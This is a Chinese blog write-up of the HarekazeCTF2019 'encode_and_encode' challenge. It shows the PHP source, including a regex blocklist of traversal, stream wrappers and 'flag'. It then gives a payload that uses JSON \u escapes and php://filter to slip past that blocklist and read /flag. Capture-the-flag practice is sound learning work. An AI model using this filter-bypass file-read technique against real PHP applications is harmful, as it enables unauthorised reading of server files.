[HarekazeCTF2019]encode_and_encode
打开链接,如图所示
 
 点击Source Code,得到源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}
$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码
if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效,json数据要有page
  $page = $json['page'];
  $content = file_get_contents($page); #从page中读出文件名,并读取文件
  if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出
JSON转义字符绕过
 \uXXXX可以在JSON中转义字符,例如A,\u0041等效
 最后payload
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
得到flag
 
 
                   
                   
                   
                   
                             博客围绕HarekazeCTF2019的encode_and_encode题目展开。打开链接点击Source Code获取源码,介绍了JSON转义字符绕过方法,如用\\uXXXX转义字符,像A可用\\u0041等效,最后得出payload并得到flag。
博客围绕HarekazeCTF2019的encode_and_encode题目展开。打开链接点击Source Code获取源码,介绍了JSON转义字符绕过方法,如用\\uXXXX转义字符,像A可用\\u0041等效,最后得出payload并得到flag。
           
       
           
                 
                 
                 
                 
                 
                
               
                 
                 
                 
                 
                
               
                 
                 扫一扫
扫一扫
                     
              
             
                   590
					590
					
 被折叠的  条评论
		 为什么被折叠?
被折叠的  条评论
		 为什么被折叠?
		 
		  到【灌水乐园】发言
到【灌水乐园】发言                                
		 
		 
    
   
    
   
             
            


 
            